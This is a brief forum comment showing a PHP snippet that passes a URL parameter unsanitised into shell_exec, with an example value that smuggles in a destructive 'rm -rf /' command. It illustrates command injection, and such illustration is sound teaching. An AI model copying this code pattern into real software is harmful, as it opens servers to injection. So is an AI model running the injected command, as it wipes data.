Comment Comment by DanOWar Example from the Github search: <?php $result=shell_exec("cat ".$_GET['name'].".txt"); echo $result; ?> How to abuse: $_GET['name'] = "/dev/null; rm -rf /; echo "; parent DanOWar 12 years ago